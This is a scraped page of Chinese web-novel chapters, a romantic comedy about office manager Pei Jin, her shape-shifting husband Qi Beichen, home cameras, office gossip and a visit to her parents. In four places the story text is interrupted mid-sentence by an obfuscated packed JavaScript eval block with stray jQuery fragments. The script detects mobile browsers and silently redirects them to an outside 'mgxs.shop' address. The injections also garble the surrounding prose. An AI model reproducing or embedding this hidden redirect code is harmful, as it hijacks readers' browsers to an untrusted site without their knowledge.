吕恪的声音很轻,可办公室里只有裴矜和他两个人,对话全被裴矜听了去。 裴矜装作低头继续签字看文件,脑子明显不在工作上。 毫无感情的冷漠语气,这真是吕恪本人? 裴矜有些怀疑自己的耳朵,仔细回想,她好像只知道面前这个有冲劲、有上进心、体贴细致的温和吕恪,面前这个年轻人的私下是什么样的她全然不知。 别人家的家务事裴矜没兴趣插手,可要是因为私事影响到工作那就不行了。 手上的笔放在一边,裴矜示意吕恪坐下说话:“有什么事可以和我说的吗?” 吕恪走了过来,但没有坐下,脸上是少有的纠结,眉头微蹙。 “不方便就算了。” 裴矜不打算在此做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719647|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 太多纠缠,礼貌地笑笑,重新拿起笔。 “我……”吕恪长叹一口气,苦笑着坦白,“刚刚是我父亲打来的。我弟今年毕业,高不成低不就,他让我给他想办法。” 裴矜握着笔的手一顿。 吕恪的教养非常好,处理事情得体有分寸,又是国外名校硕士毕业,裴矜下意识默认他的家庭应该不会差到哪里去。 事实并非如此,甚至截然相反。 裴矜不太擅长安慰人,比起兜圈子打太极拳,她还是更喜欢单刀直入:“你进公司半年,只字不提你的家庭,是因为担心你爸爸会把他塞进我们公司?” 吕恪点点头:“不瞒你说,是的。我是家中的老二,我哥天资一般,我弟聪明归聪明,心思从来不用在正经事上。家里条件还不错,可爹妈一点点都退休了,我弟也要毕业了,现在就业压力那么大,眼瞅着我哥帮不上忙,他们就想让我帮衬我弟一把。” 他眉间褶皱越来越深,语速也快了起来:“我不想因为我的家庭影响工作,我是公司的员工,我应该处理好我的家务事,而不是让别人替我烦恼和分担……” “小吕,冷静一点,没事的。”裴矜打断了吕恪持续的输出,劝说道,“你是一个有感情有想法的正常人,不要对自己太过严苛。没有人是完美的,要是真有,我们早成神仙皇帝了。” 吕恪这才放松了一点,他背靠在椅子上,单手扶额长叹一口气:“是我失态了主任,我家里的事我会处理好的。” 怎么处理?直接丢一边不管还是吵一通?今天才意识到吕恪家庭问题的裴矜一时语塞,她一个外人根本无权置喙。 裴矜莫名想起了她这些日子和齐北宸的磕磕绊绊,也是一路鸡飞狗跳,闹了不少笑话。眼下齐北宸还不能稳定下来,可她愿意相信齐北宸,相信他们两个人能解决这些事。 就像她相信眼前的吕恪是她一眼相中的好苗子,不该因为家里长短的琐事搭上自己的前途。 “我相信你的判断,你从来都是一个有自己想法的人,只是缺了一点迈出去的勇气。”裴矜认真地看着吕恪的眼睛,“先把自己的人生过好,再谈帮助他人的事。你弟弟是个成年人了,他应该自食其力,而不是依赖在你身上。” “我不了解你的家庭,可从你进公司面试到现在,你的努力我看在眼里。不要把自己逼太紧,如果你有遇到不方便说的难题,大家都很乐意帮你的。” 办公室内空调声嗡嗡作响,舒缓的冷风抚平了人心中的躁郁。 “大家……吗?”吕恪的笑容里带着一丝无奈,他侧头望着窗外,“主任你知道吗?'先把自己的人生过好'这句话上次我也听齐先生说过,你们两位在某些方面很像呢。” ……齐北宸那狗东西还有正经的时候? 裴矜脑补了半天只能脑补出他之前去她家拜访父母的时候装腔作势的模样,险些笑出声来:“咳,毕竟是夫妻嘛,我和他像也是在所难免。” 吕恪没有接话,目光随着窗外的云朵飘移。 空气仿佛凝固了一瞬,直到裴矜的手机消息声打破了沉寂。 齐北宸:老婆,记得有空收一下安装包! 22. 专属摄像头 裴矜眼睛的余光一扫,签字的手就不动了。 坐在她对面的吕恪也看到了这一条消息。那个完美的吕恪再度站了出来:“主任你先忙,我回头再来收文件,如果有问题需要问我欢迎你随时在网上敲我。” 吕恪说完微笑着离开,办公室内只剩下裴矜一人。 他是个好孩子,只是还没找到自己前进的路,希望他能早点看透这一点吧。 拿起手机,打开消息一看,齐北宸发过来的消息如雪花般飞来。 齐北宸:老婆,我在家研究小梅给的东西,这家伙都捣鼓的什么啊,长得都奇形怪状的。 齐北宸:[一大堆梅由谨给的设备照片.jpg] 齐北宸:我先研究一下,回头告诉你。 裴矜手指下滑,系统显示隔了一段时间后,齐北宸又发了新消息。 齐北宸:[自己手腕和腕表的照片.jpg] 齐北宸:老婆,这个腕表是用来测生命体征和基础数据的,做得还挺酷的。 齐北宸:还有一些监控设备,我都安装好了,确保家里各个角落都能看到,搭配APP就能在看回放/实时画面里切换了。 齐北宸:[小梅屋助手APP安装包.apk] 然后就是齐北宸刚刚发来的消息。 裴矜了解完了,靠在椅子背上,点击输入。 裴矜:知道了,午休来搞。 齐北宸秒回。 齐北宸:那我就等着给老婆看好东西啦~ 嗯?什么好东西?裴矜直觉不妙,又不敢多问,回了句“知道了”就投入工作去了。 惊喜被拖延到了午休时间才揭秘。 裴矜点了个外卖在办公室里吃,她安装完小梅屋助手APP进入软件。 系统:欢迎使用小梅屋助手APP。小梅屋,您一天的小确幸,全力为您服务。是否需要新手引导? 裴矜果断选择了是。 接下来的几分钟,系统带着裴矜熟悉了大概的操作流程。APP的设计不算复杂,且因为齐北宸的特殊原因,裴矜一注册上就自动关联了梅由谨的一对一专属客服。 看来小梅是有在思考怎么解决齐北宸的问题,希望他能尽快研发出特效药吧。 走完新手引导,裴矜点击查看家里已经绑定的摄像头,很快就看到在坐在餐桌旁一边拉片一边还在享用王妈手艺的齐北宸。 吵闹的齐北宸一个吃饭的时候吃相还是挺斯文的,摄像角度对着他精致的侧脸,热气腾腾的饭菜升起袅袅白烟,裴矜恍惚间以为自己在欣赏定制款《舌尖上的中国》。 还真别说,看着齐北宸吃得那么香,裴矜自己看自己点的外卖都顺眼了许多。 先吃饭,等吃饱喝足了再联系他。 小夫妻俩隔着网线同步进餐。 不一样的场地,一样的进餐频率,午饭别有一番风味。 吃饱喝足的裴矜清理完外卖餐具,见齐北宸也吃完了,才给他发了个消息。 裴矜:我装好APP了,现在可以看到你了。 画面里齐北宸从卫生间出来,拿起手机看到消息后,对着裴矜挥了挥手:“老婆,听得到吗?” 裴矜这侧没有输入输出功能,她敲字回复。 裴矜:勉强可以听到一点。吃过没? 齐北宸点点头:“吃过了,中午吃的意面。老婆今天上班累不累?需要我去接你吗?” 裴矜捏着手机的手一抖。 这位大少爷上次意外来她公司走一遭的画面还历历在目,裴矜的小心脏承受不起如此惊涛骇浪,她还年轻,想多活两年。 裴矜:你也有特殊情况在身,在家好好休息吧。 齐北宸咧嘴一笑:“还是老婆好,会心疼我,关心我。” 谁心疼他了,就会往自己脸上贴金。裴矜弯来弯嘴角,到底没把这句话发出去。 镜头那边的齐北宸没有等到裴矜的回答,一刻也闲不住的他又开始四处活动。 惨遭齐北宸搞怪的对象自然是王妈。王妈拿着吸尘器在客厅和走廊吸灰尘,齐北宸面上乖巧地在王妈身后一点不妨碍别人打扫,实则悄悄对着墙上的影子在王妈头上用手指凹出动物的小耳朵造型。 专注打扫的王妈没感受到背后的远距离恶作剧,齐北宸一路沉默地用手指灵活变化着不同的动物耳朵。 这时,王妈突然回过头来:“对了先生,你现在有空吗?” 齐北宸立马收起手,点点头:“什么事王妈?” 王妈指了指角落里堆着的旧报纸和杂志:“这些东西不要了,放在家里容易扬灰。先生你看要不要处理一下?” “哦,好。” 搞怪到一半被迫去做正经事,齐北宸转过身,对着镜头整张脸一垮,摆出个痛哭流涕的表情。英挺的五官皱成了一只大包子,他提溜着一大捆打包好的废品,直到快走出家门才恢复正常模样。 裴矜哭笑不得。 说齐北宸可怜吧,这是他应得的;说他不可怜吧,那委屈巴巴的小狗脸看着还怪想让人揉一把的。 职场精英裴主任果断选择了看戏吃瓜。 没曾想,半小时后,她自己就成了瓜里的一部分。 齐北宸回到家后在几个房间里来回穿梭,当他再出现的时候,他的手里拿着一个眼熟的眼熟的包装,上面印着小梅屋的logo。 “诶,这个是什么?没见过嘛。”齐北宸拿着轻薄的小件晃了晃,动手拆包装,“我拆了哦老婆。” 齐北宸手脚很快,午休的裴矜在看到他拆了一半的时候才猛然回过神。 那不是她之前从梅由谨手里零元购的狗狗小斗篷吗?他怎么翻出来了! 说不了话的裴矜立即打字。 裴矜:那个不是给你的,不能拆! 沉浸式拆包装的齐北宸自然没空去看裴矜留言写了什么,等他看到的时候,一整件大红色的小狗斗篷就这么水灵灵地摊在裴矜的面前。 干啥啥不行,拆家第一名。要不是现在裴矜此时要在公司上班,她绝对会抄起拖鞋,对着齐北宸的屁股狠狠抽几下解气。 人怎么能活得那么没心没肺呢。 裴矜郁闷,齐北宸倒是很开心。一双大手捏着小斗篷的两端在镜头前左右摇晃:“老婆,这个是买我的吧。” 牛看到大红色的布料被激怒为什么会被激怒,答案就在这里。 裴矜想特想骂他几句,手指悬在半空中转了几个圈,打出去的字是另一回事。 裴矜:? 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728732|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >裴矜:自恋狂,你想多了。 齐北宸语调上扬:“真的?” 假的,就是不想让他知道罢了。这狗东西当狗当久了,连放在犄角旮旯的东西都叼出来了,要是再承认是自己干的,她堂堂裴主任的面子搁哪儿去。 裴矜选择性装死,一心想把这事糊弄过去。 齐北宸在镜头前晃了几次,见裴矜没有一条回复,带着小斗篷去了自己房间里。 他又在整什么花活? 齐北宸把小斗篷放在桌上,翻了好一阵,摸出一个手办。他把小斗篷系在手办,整理好兜帽,转过来面对镜头:“老婆,好看吗?” 齐北宸选了一只小狗造型的手办,斗篷对于手办有些大了,兜帽都快盖过狗子的眼睛。可裴矜还是笑出了声。 她装死的模样很幼稚,齐北宸找补的模样也不相上下。一个被窝果然睡不出两种人。 裴矜:看都看不清,谁知道好不好看。 裴矜:我要去上班了,晚上等我回家吃饭。 齐北宸单手拿着手办敬礼:“谨遵主任旨意!” 从日挂中天到日落西山不过短短几小时。复工第一天,裴矜的身体状态适应性良好,除了些许疲惫,并没有太多不适。 整理好第二天的工作计划,裴矜锁上了那扇略显单调的办公室,打了卡正准备离开公司时,只听到有人喊她。 “主任!等等我!” “裴主任,好巧啊,要不我开车送你们俩一起回去?” 方铭和唐蜜俩人一前一后朝裴矜奔来。 裴矜停下脚步点点头:“那就麻烦你了。” 三人坐上方铭的车,裴矜坐在后排,埋在记忆深处的碎片在这一刻奇迹般复活了过来。 公司当时谈成了一笔大买卖,还是长期合作对象,混血老板一高兴就包了场,把全公司都张罗过去了。 裴矜的酒量不太行,高度酒几乎是一杯倒的水平,她在外的所有商业应酬大多以低度数的果酒之类替代。 然而当天促成这笔大生意的方铭端着酒杯来敬酒的时候,裴矜错把葡萄酒当葡萄汁,等她发现的时候已经被周围人带动得一口闷了。 喝醉的裴矜一反常态,特别粘人,还只粘特定对象。唐蜜被她抱在怀里像个小抱枕一样,一步都挪不了,耳边全是裴主任的会议复盘和经验轰炸。 好不容易裴矜被弄上车了,她还一个劲嚷着“我要签合同”“明天的会议PPT还没做完”“我要回去加班”。唐蜜好言相劝她不听,方铭问了半天问不出地址,最后还是从人事部那边拿到了裴矜家属的联络方式,俩人加上另一个搭顺风车的同事三个人连哄带骗才把裴矜勉强镇住。 回到家裴矜更是不得了,对着齐北宸就是一通全武行。奇怪的是齐北宸一点没端少爷架子,公主抱把她抱回房,还把哄她睡着才走。 这段回忆裴矜至今回想起来都感觉窒息。她看着像没事人的唐蜜和方铭,还有家里那个耍宝卖萌的齐北宸,背后冒出一身冷汗。 甭说裴主任这招牌如何了,她作为裴矜的招牌早碎成片片雪花了。 车里另外俩人沉浸在聊天里,没有一个注意到裴矜的表情。 这时,开车的方铭忽而问道:“主任,早上抽奖你抽中没?” 23. 醉酒复盘 裴矜被方铭的问题拽了回来,她清了清嗓子道:“没中什么好东西,好像是钥匙圈之类的小周边。” 唐蜜一脸羡慕回过头:“我看过预览哎主任,钥匙圈QQ的很萌,还很百搭,超适合主任你的。不过我的运气更好,嘿嘿。” 听口气是中大奖了? 裴矜把脑海里残留的社死碎片剔除干净,追问了一句:“你也中奖了?中了什么?” 唐蜜笑得嘴角都快咧到耳后根去了,叉腰仰起头:“是限量版签名海报哦~老天爷太眷顾我了,早上我才嚎没有我偶像的签名,没想到一小时之后居然拿到手了!” “诶~你们怎么都那么幸运,我就什么都没中到了。”方铭调整了下后视镜,面带揶揄,“小唐啊,我一看就看出来你是个有福分的。你看,要不是我早上给了你机会,你哪儿有机会拿到签名?” 唐蜜配合地点头如捣蒜,语调毫无起伏:“方哥说的对,方哥最伟大,方哥你是我的神!” “那我可不敢当,你的神不是裴主任吗?哦,不对,我记反了,应该说你是主任的神,这可是上次主任喝醉了亲口说的,哈哈哈。” 怎么这儿还有她的事。裴矜虽然大概想起来了事情的经过,但她具体说过什么话记得并不那么清晰。 先下手为强,后下手遭殃。裴矜眉毛一挑,嘴角一沉:“这说明我们唐蜜工作效率高,方组长,你得好好反思一下为什么你劳苦功高,却没有步入神的行列才对。” 唐蜜附和:“就是嘛,还是主任懂我。” 方铭单手握着方向盘,另一只手张开覆盖在脸上遮住了大半张脸,肩膀抖得比上午还厉害:“裴主任上知天文下知地理,下知鸡毛蒜皮,确实厉害。你信不信,主任还能精准地预言你偶像现在在干什么。” “这怎么可能嘛。” “真的,不信你问问看。” 唐蜜的小脑袋从前排转过来的时候,裴矜借着抬脚的姿势轻踹了方铭的车座一下。 不愧是短时间内和齐北宸发展成狐朋狗友的人,一张嘴张口就来。 “我猜他应该在吃饭或者准备吃饭。”裴矜的语气淡漠,顺了一下额前的刘海,“现在这个时间,大多数人的想法应该差不多吧。” 唐蜜立即点头:“我觉得主任说的有道理。” 方铭直接笑出声:“我也主任说的很有道理,希望主任一会儿用餐愉快。” 拜方铭所赐,她的食欲已经跌到谷底了。 方铭把裴矜熟门熟路地把裴矜放在小区楼下。裴矜一下车,在一旁等待许久的齐北宸立刻窜了出来,接过裴矜的包:“老婆,你回来啦!你今天怎么没坐地铁回来?” “我……” “嗨,朋友,又见面了。” “你好呀~” 裴矜想把齐北宸推着走的计划还没付诸实际,就宣告破产。方铭和唐蜜两人一人一边从车窗里探出头来,都对着齐北宸招手。 唐蜜和之前一样,盯着齐北宸本尊猛瞧。方铭的态度稍显暧昧,他的嘴角微微勾起一侧,眉毛特意挑了几下。 身穿居家服,脚踩拖鞋,完全没打扮的齐北宸瞬间切换到营业模式,他对着唐蜜挥了挥手,对方铭回以同款挑眉:“方哥,唐小姐,你们好。今天麻烦你们送我们家阿矜回来了。” 唐蜜一脸姨母笑:“不麻烦,我要是有那么帅又年轻的老公,我也想天天早点回家吃饭。” 方铭更是往里添了一把柴:“回家不吃饭,看一看也能填饱肚子,羡慕死我等单身狗了。” 裴矜今日份的社死全拜两位下班就疯狂乱舞的同事所赐。说也说不过,逃还不能随便逃,她只能寄希望于她唯一的队友了。 裴矜的手在二人视觉死角里轻轻扯了扯齐北宸的衣袖,声音轻得只有齐北宸能听到:“我想回家了,现在,立刻,马上。” 齐北宸面色如常,他顺势把裴矜的包包挂在肩膀上,另一只手臂向上一抬,把裴矜的手精准地落到臂弯里夹着,对着车上的二人说道:“不用羡慕,下次有机会请你们一起吃饭。” 车上的二人组立即响应。 “朋友,记得你欠我一顿饭。” “好耶!那我们下次约~” 三言两语打发走了八卦二人组,裴矜悬着的心是放下了,可她的手还牢牢地被齐北宸夹在臂弯里。她空着的另一只手戳了戳齐北宸硬邦邦的胳膊:“他们都走了,你可以松开了。” “我为什么要松开啊。”齐北宸不但不松开,反而夹得更紧了一些,“没有功劳也有苦劳,裴主任,你可不能对我用完就扔啊,我可是会哭出来的。” 死相,光明正大揩她油。 俩人一路走,裴矜一路掐。她的食指和大拇指试图在齐北宸的上臂找到着力点,后者偏偏不随她的愿,故意肱二头肌发力,让裴矜的手指无处使力,只能在衣料上滑来滑去。 齐北宸笑得胸腔都在震:“诶,老婆,你说你现在的行为叫什么?” 好话甜头都被他一个人给占了,她能说什么。 试了几分钟未果,裴矜在家门口趁齐北宸进屋背对自己的瞬间拿起拖鞋,对着他的屁股就是一击。 “这叫训狗,不懂好好学着点。” 说完,裴矜换上拖鞋,装作没事人一样去卫生间洗手了。 呼,再和他扯下去,天知道这狗男人还会蹦出什么惊世骇俗的语录来。 裴矜洗手出来时,王妈已经备好了饭菜,随意聊了两句就下钟了。 夜幕逐渐降临,点点星光暮色与夕阳的交界处描绘出一幅美丽的画卷。夏夜的风散去了白天的闷热,从打开的窗口缓缓吹入。 用过晚餐,吃饱喝足的裴矜重新冷静了下来,她盯着齐北宸在厨房里洗碗筷的背景陷入了新一轮的思索。 刚刚差点被这对狐朋狗友糊弄过去了,这俩男人当着她的面都敢眉来眼去的,肯定背着她做了什么见不得人的勾当。 裴矜拿着抹布在擦桌子,她抬起头问道:“刚看到你和方铭很熟,你俩怎么认识的?” “他之前开车把喝醉的你送回来,你不记得了?” “不记得了,都喝醉了谁记得。我喝醉了有没有给你添麻烦?” “没有,你可乖了,和小花猫似的,捏爪子挠肚皮都没反应。” 要不是裴矜回忆起了零星片段,她都会被齐北宸这套说辞忽悠进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733838|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>擦完桌子的抹布被揉成一团,对着齐北宸的背部发射。奈何裴矜的准头差了一点,背没打到,飞到半空中就散开一半的抹布挂在齐北宸的肩膀上,发出“啪”的一声轻响。 “我信你个鬼!” “诶,老婆,偷袭可不是好习惯。”齐北宸一挑肩膀把抹布抖落,继续洗碗,“而且我还没说完,你还要不要听?” 裴矜坐在椅子上,眼皮直抽抽:“说。” “我说你乖,那是一开始。进门不到五分钟你就原形毕露了,一会儿渴了一会儿热,我给你倒个水的功夫你就开始扯自己衣服。” “我按着你的手,你反抗,还咬我,咬不过还用脚踹。得亏我拍戏之前有练过基本功,不然你这几脚下去,我下半辈子真得赖你身上。” 没那么严重吧,齐北宸长那么结实哪儿会因为自己着小猫挠人的力度就报废了。 裴矜听得脸青一阵白一阵,只听齐北宸又说道:“被你打也就算了,好不容易把你放床上,你还和我撒娇。” 齐北宸放下洗到一半的碗,转过头学着当晚裴矜的口气,娇嗲地从喉咙口挤出声音:“爸爸,阿矜想听你说故事~” 裴矜的脸“轰”地一下着火了。 这事她真干过,不过那是她读幼儿园的时候和父亲撒娇想听床头故事的惯用伎俩。她现在都快三十的人,从别人嘴里听到,只想连夜搭火箭逃离地球。 不对,明明是她审齐北宸,怎么绕了一圈变成在听自己社死片段合集了。 “让你交代和方铭的事,你听听你都说了些什么!”裴矜深吸一口气,瞪着齐北宸,“不许岔开话题,老实交代,除了我喝醉那晚上,你俩还有没有联络!” 齐北宸偷瞄了裴矜一眼,继续转过身去洗碗:“你不是用脚趾想都能猜到嘛,我从小泰迪变成人之后看到你们公司有个熟人脸,总得利用一下。” “然后?” “然后他被你突袭审问了,他给我发信息'朋友,我好像不小心把你卖了'。” “再然后?” “没有了,再然后就是收费VIP服务了,裴主任想解锁超前点播吗?” 回答齐北宸的是裴矜飞过来的一只拖鞋。和之前一样,拖鞋没能完美执行本该属于它的飞行任务,距离齐北宸屁股不到几厘米就“啪嗒”一声掉在地上。 洗完碗,用抹布擦干净,齐北宸弯腰捡起拖鞋,朝着裴矜笑了笑:“老婆,拳打脚踢你还嫌不够吗?怎么连装备都升级了。” 裴矜冷脸挑眉:“狗不听话,你说该不该打。” “那倒也是。” 齐北宸拿着拖鞋屁颠屁颠地跑到裴矜面前,单膝跪地再一次把拖鞋穿回裴矜的脚上。和上次不同的是,他在给裴矜套上的时候还趁机挠了挠裴矜的脚底板。 狗东西都学会明里暗里耍诈了! 裴矜一脚踹过去,齐北宸灵活一闪避开攻击,他理直气壮地声明:“狗子也得维生,收点服务费不过分吧?” “那也没溢价这么严重的。”裴矜看着他活力十足的模样,思考了一下才问出口,“说认真的,你现在的情况和我短暂外出一会儿会有事吗?我妈想让你和我回去一趟。” 24. 回娘家 “应该没问题吧,我陪你去。”齐北宸歪了歪头,“保险起见,我明天再联系一下梅由谨。这小子APP都研发好了,没道理不制作特效药。” 裴矜也认同齐北宸的看法,点点头:“那你要不要提前准备一下?” 齐北宸双手环胸,自信一笑:“我办事,你放心。保证不让老婆大人丢人~” 齐北宸说得轻松,裴矜左思右想还是在第二天通过APP给梅由谨发了个消息。梅由谨回复速度很快,他大致和裴矜聊了一下齐北宸的目前状态,又给出了下一个阶段的治疗意见。 梅由谨:齐哥的身体素质很不错,综合前两次的变异情况来看,他单次变身持续时间不超过48小时,可以考虑外出。 梅由谨:外出我建议至少你或者佘小姐能陪一陪,卢哥那儿我也是这样建议的,惊扰到无辜市民群众就不好了。 梅由谨:我今天给齐哥配了些第一阶段的特效药,准确来说这个特效药是针对齐哥和卢哥俩人都有的共性问题研发的,不保证会不会有其他副作用。 梅由谨:如果在公开场合遇到齐哥突然喊骨头疼,且伴有高热、虚弱的情况,建议紧急转移到隐秘地点。有问题欢迎随时联系我~ 梅由谨:PS:上次的狗毛挺有参考价值的,可以考虑后续再有变身的时候继续收集。 梅由谨:再PS:多余的狗毛不用丢掉,可以用来做小玩具或者小饰品之类的,那么难得的“人狗毛”丢了太可惜了。 不愧是齐北宸的朋友,除了卢烨,一个两个话又多又密的,要点核心劈头盖脸就这么砸进了裴矜的脑袋里。 裴矜用笔记记录下关键信息和特效药的使用量,在和齐北宸商量妥当后,又给自己妈妈发了个消息。 裴矜:妈,我和阿宸这周六过来吃饭,你和爸方便不? 裴妈妈过了一会儿回复没有问题,又叮嘱了几句,让裴矜不要买太多东西,带个人,带张嘴过来吃饭就好。 时间一晃来到周六,裴矜因为齐北宸的身体缘故不敢挑选中午的时间段,把上门时间锁在了下午。 高速上车来车往,渐渐下沉的夕阳照在车窗上像镀了一层浅金色的光晕。 裴矜今天特意带了个大袋子,放在车子后排,和齐北宸准备好的高档礼盒并排入座。她坐在副驾驶座上,回头看了一眼,说道:“妈特意说了,不要带那么高档的东西,你怎么还买啊。” 齐北宸单手打着方向盘,手指在圆盘的边缘没有规律地轻敲着:“妈是让你不要带东西,又不是让我不要带东西。老人家说不要就是要,裴主任,做人不能太实心眼。” 裴矜想了想觉得似乎也对,但齐北宸这出手也太豪放了。知道他大少爷不缺钱,也不能撒币成这样。 “可是……” “可是什么?” “怎么说那也是钱,得省着点花。” 齐北宸愣了一下,随即笑出声:“老婆,你是心疼钱还是心疼我花咱俩的钱?” ……这狗男人现在是解除束缚,什么都敢往外说啊。 裴矜吸了口气,一字一顿耐心地说道:“不管是花谁的钱,浪费是不对的。花钱容易赚钱难,积少成多才能细水长流。” “老婆说的对。”齐北宸配合得点着头,“不过我这情况和你说的可不一样。咱爸喜欢喝茶,他平时生活朴素,我难得上门一次送点贵的是给他平淡的生活里增添一丝色彩。” “咱妈畏寒,那些劣质的毛巾毛毯非但起不到保暖御寒的效果,还会刮伤咱妈的皮肤。我这一条纯羊毛小毯子分量轻,心意足,还能给你立个驯夫有术的名号。我哪儿浪费钱了?我这叫把钱花在刀刃上。” 歪理邪说转了几个圈就给她装饰成贴心小棉袄了? 裴矜还没放送出来的教育语录被齐北宸堵在了嗓子眼里,想说说不出,想咽回去又觉得不能这么便宜他。 “照你的意思,我还得感谢你了?” “裴主任的感谢,我可消受不起。”齐北宸头摇得像拨浪鼓,“要是你非要给我记上一功,也不是那么难以接受。” 裴矜伸手弹了他的脑袋一下。 “我开车呢,别闹啊。” 齐北宸夸张地喊了一声,人却没躲开。他笑着按下车载音响,一首《Yellow》伴随着舒缓而有力度的吉他声慢慢传出。 声音绵延悦耳,像无边无际舒展的海岸线,延伸至看不到尽头的远端。 裴矜单手撑着侧脸,转头看向正在专注开车的齐北宸。 人这一辈子总会遇到各种想不到的意外,猜得到开头也猜不到结局。 面前这个看似长不大的男人一次又一次打破了她对他的认知,他就像歌词里的漫天繁星一样,每次只给她看到其中的一颗。那些星星逐渐汇聚在一起,形成了一个她现在看到的齐北宸。 齐北宸,你会是那颗最特殊的北极星吗? 若有似无的氛围一直持续到小夫妻俩人下车的那一刻,俩人倒车入库,各自提着东西搭乘电梯去见裴矜的父母。 裴矜的父母早早等着见女儿女婿,看到齐北宸和裴矜大包小包的进来,嘴里嫌弃,脸上是止不住的笑意:“你这孩子,都跟你说来就来了,带那么多东西干什么。” 裴矜把茶叶给父亲,小毯子给母亲:“这可不是我的意思,是阿宸非要带上的。我路上可是说过他了,他不听我的。” “冤枉啊老婆,我哪儿敢不听你的。”齐北宸进门后立刻和裴父裴母打招呼,“爸妈好。我和阿矜说,难得来见你们二老一次,空着手太不像话了。妈是关心我们不让我们带东西,我们愿意带是因为我们想孝顺爸妈,这是两回事。” 一声不响的裴父闻言,满意地点点头:“难为小齐一份孝心。别站着了,饭菜都准备好了,洗个手来吃饭了。” 两人应了声,洗手入座。 裴母看到裴矜放在角落里的大袋子,随口问了一句:“阿矜,那里面装的是什么?” 裴矜瞥了齐北宸一眼,摇摇头道:“没装什么,是空的。我和阿宸打算回去的路上再采购一点生活用品。” 裴母了然地笑笑,开始盛饭:“现在的年轻人啊工作压力大,生活节奏快,网上购物多快好省。像你们这样还愿意一起私下逛实体店的小夫妻倒是少见。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740229|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 齐北宸接过裴母饭勺,主动盛饭。他给裴母先盛了满满一碗,接着是裴父:“每对夫妻都有自己的相处方式。我和阿矜的职业不一样,难得有独处的机会,当然要好好享受一下。” 裴母捂嘴偷笑。裴父接过碗,不自然地轻咳一声,问道:“听这话,平时你们俩见不着就不相处了?” 是啊,老爸,何止是不相处,房间还是各管各的,绝不绝? 裴矜自然不能把大实话放在台面上说,她见齐北宸坐下,给他夹了一块糖醋小排道:“爸,你这是封建老古板思想,现在通讯工具那么多,哪怕见不到人也是可以沟通的。” 齐北宸笑眯眯地吃着排骨,顺势帮腔:“是啊爸,我和阿矜本来就是相亲认识,网上比网下聊得多,不会觉得尴尬。再说了,小别胜新婚,天天相处摩擦多,我们几天见一次,反而新鲜感更足。婚姻是靠持久经营的,不需要轰轰烈烈,只求细水长流。” 裴父被小夫妻俩人一通说道,说得竟无言以对。他夹起一筷子菜放在嘴里,摇摇头:“老婆子,看来我是真的老咯。女儿胳膊肘往外拐,帮着女婿说亲爸,看来我有空也得和人家年轻人多学着点,免得被我家小棉袄给册封为'老古董'。” “爸,你说什么呢,我才不是这个意思。”裴矜闹了个大红脸,赶紧又给父亲夹了几筷子菜,“我看您呐,不是老古董,是老吃客,尽盯着我妈的拿手好菜吃。女儿我今天不和你计较,你要是再不吃,我就喂阿宸了。” 齐北宸立马启动响应程序,他转向裴矜,嘴巴开得老大:“啊~老婆,请把咱妈的拿手好菜都炫我嘴里吧~” 这个不要脸的,当着爸妈的面就敢这样,简直是无法无天了! 裴矜在桌下偷偷拧齐北宸胳膊,没有拧动。又踹了他一下,他早有准备,裴矜踢了个空。当着父母俩人的面,裴矜第一次给人形齐北宸完成了一次投喂,一顿家常菜吃出了别样的风味。 酒足饭饱,裴矜和齐北宸双双申请洗碗,却被裴父抢了先,裴母看齐北宸胃口不错,挑了一些水果在厨房清洗。 偌大的客厅就剩下裴矜和齐北宸。 在吃饭时间吃了闷亏的裴矜见父母不在场,立马用抱枕砸齐北宸,后者一开始还精神抖擞地享受裴主任的饭后特殊按摩,没一会儿,他就变了脸色。 “裴矜,我……感觉骨头好疼。”齐北宸的脸迅速褪尽了血色,头上冒着汗珠,“还好热,感觉要撑不住了。” 裴矜也意识到情况不到,立马从口袋里翻出药:“吃两粒。你还能撑住吗?我现在就和爸妈说一声,我们马上回家去。” 齐北宸勉强吞下药,整个人蜷缩在沙发上:“对不起,我感觉好难受。” “忍一忍,我现在就想办法。” 